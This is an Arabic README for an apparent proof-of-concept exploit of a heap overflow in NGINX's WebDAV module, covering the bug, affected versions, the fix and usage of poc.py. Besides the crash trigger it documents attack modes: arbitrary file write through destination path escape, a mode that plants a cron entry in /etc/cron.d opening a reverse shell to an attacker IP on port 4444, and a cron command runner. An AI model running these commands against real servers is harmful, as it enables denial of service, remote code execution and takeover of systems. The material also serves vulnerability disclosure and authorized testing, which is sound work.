
تجاوز سعة المخزن المؤقت في الكومة في وحدة `ngx_http_dav_module` ضمن NGINX عبر تجاوز سفلي في `size_t` (رفض الخدمة عن بُعد / احتمالية تنفيذ كود عن بُعد)
تجاوز سعة المخزن المؤقت في الكومة (Heap Buffer Overflow) في وحدة ngx_http_dav_module الخاصة بـ NGINX عبر نقصان من النوع size_t (رفض خدمة عن بُعد / احتمالية تنفيذ كود عن بُعد)
ngx_http_dav_copy_move_handler() في src/http/modules/ngx_http_dav_module.c
يحسب طول URI الخاص بالوجهة بطرح طول بادئة الموقع من مكوّن مسار URI في ترويسة Destination. كلا القيمتين من النوع size_t
(64-بت بدون إشارة). عندما يكون مسار الوجهة أقصر من بادئة الموقع، يلتفّ الطرح إلى ~0،
مُنتجًا طول memcpy هائلًا يتجاوز سعة تخصيص كومة بحجم 7 بايت ويُسقط عملية العامل (worker).
طلب واحد مصنوع بعناية من نوع MOVE أو COPY إلى موقع DAV مُعيّن عبر alias يُطلق التجاوز.
يعيد nginx الرئيسي (master) توليد العامل، لكن الطلبات المتكررة تُبقي الخادم في حلقة انهيار مستمرة.
يؤكد ASan ذلك: negative-size-param: (size=-7) عند memcpy في
ngx_http_core_module.c:1949، المُستدعى من ngx_http_dav_copy_move_handler.
النسخ المتأثرة: nginx من 0.5.13 حتى 1.28.2 (المستقر) ومن 1.29.0 حتى 1.29.6
(mainline)، المُجمَّعة مع --with-http_dav_module وباستخدام alias في
موقع DAV. أُصلح في 1.28.3 / 1.29.7 (commit ab4b5b8، PR #1210).
# Docker (recommended -- builds vulnerable nginx from source):
docker compose up -d --build
python3 poc.py --target 127.0.0.1:8080
# Native (builds nginx 1.28.2 from source, no Docker):
./run.sh # non-ASan build (observes SIGSEGV crash)
./run.sh --asan # ASan build (definitive proof)
./run.sh --both # run both sequentially
# Against an existing vulnerable nginx instance:
python3 poc.py --target <HOST:PORT>
python3 poc.py --target <HOST:PORT> --no-put # if trigger file already exists
python3 poc.py --target <HOST:PORT> --verbose
يبقى الوضع الافتراضي هو المُطلق المعياري للانهيار. يرسل PUT يتبعه طلب MOVE مصنوع بعناية
يكون مسار Destination فيه أقصر من بادئة موقع DAV:
python3 poc.py --target <HOST:PORT> --mode crash \
--location-prefix /uploads/ --destination-path /x --alias-len 13
بالنسبة لإعدادات المختبر المصرَّح بها حيث يسمح التعامل مع وجهة DAV بهروب وجهة نسبي (relative destination escape)،
يمكن للأداة نفسها توصيل محتوى يتحكم فيه المهاجم إلى مسار مُختار. يجب أن تأتي القيم الدقيقة لـ --location-prefix
و --escape-depth ومسار الوجهة من إعدادات خدمتك الخاصة ومن إعادة الاستطلاع (recon):
# Write literal content to a chosen path through COPY/MOVE destination handling.
python3 poc.py --target <HOST:PORT> --mode write-file \
--location-prefix /data/ --escape-depth 3 \
--destination-path /tmp/dav-proof.txt --payload-text proof
# Write bytes from a local file.
python3 poc.py --target <HOST:PORT> --mode write-file \
--location-prefix /data/ --escape-depth 3 \
--destination-path /tmp/payload.bin --payload-file ./payload.bin
# Deliver a cron entry that opens a reverse shell.
python3 poc.py --target <HOST:PORT> --mode cron-shell \
--location-prefix /data/ --escape-depth 3 \
--destination-path /etc/cron.d/dav-shell \
--lhost <ATTACKER_IP> --lport 4444
# Deliver a one-shot cron command for non-interactive authorized proof.
python3 poc.py --target <HOST:PORT> --mode cron-cmd \
--location-prefix /data/ --escape-depth 3 \
--destination-path /etc/cron.d/dav-proof \
--cron-command 'id > /tmp/dav-root-proof.out'
write-file و cron-shell و cron-cmd أدوات توصيل عامة للبيئات المصرَّح بها
التي تملك مصدر DAV قابلًا للكتابة وهروبًا في مسار الوجهة.
وهي غير مطلوبة لإثبات انهيار تجاوز سعة الكومة المعياري.
--with-http_dav_module، كتلة موقع تستخدم
alias (وليس root)، وdav_methods تتضمن COPY أو MOVErequests عند توفّرها، وإلا فإن الـ PoC
يتراجع إلى المكتبة القياسية للغة Python لاستهداف HTTP العادي.gcc, make, libpcre2-dev, libssl-dev, zlib1g-dev, wgetهذا المشروع مُصدَر تحت رخصة GNU GPLv3.
تم توفيره لأغراض البحث الأمني الدفاعي والتعليم والاختبار المصرَّح به. لا تستخدم هذا الكود ضد أنظمة أو خدمات دون إذن صريح من المالك.
قد ينتهك الاستخدام غير المصرَّح به القانون الساري. لا يمنح المؤلفون إذنًا لاختبار أنظمة أطراف ثالثة وليسوا مسؤولين عن إساءة الاستخدام.
راجع ملف LICENSE لشروط الضمان والمسؤولية.
| الملف | الوصف |
|---|
poc.py | PoC بلغة Python — مُطلق الانهيار المعياري بالإضافة إلى أوضاع وجهة COPY/MOVE العامة |
run.sh | يبني nginx من المصدر (ASan / غير ASan) ويشغّل الـ PoC |
Dockerfile | بناء متعدد المراحل لـ nginx 1.28.2 المُعرَّض للثغرة |
docker-compose.yml | إعداد Docker بأمر واحد |
nginx.conf | الإعداد المُعرَّض للثغرة (alias + dav_methods COPY MOVE) |
proof_output.txt | مخرجات ASan من التحقق الحي |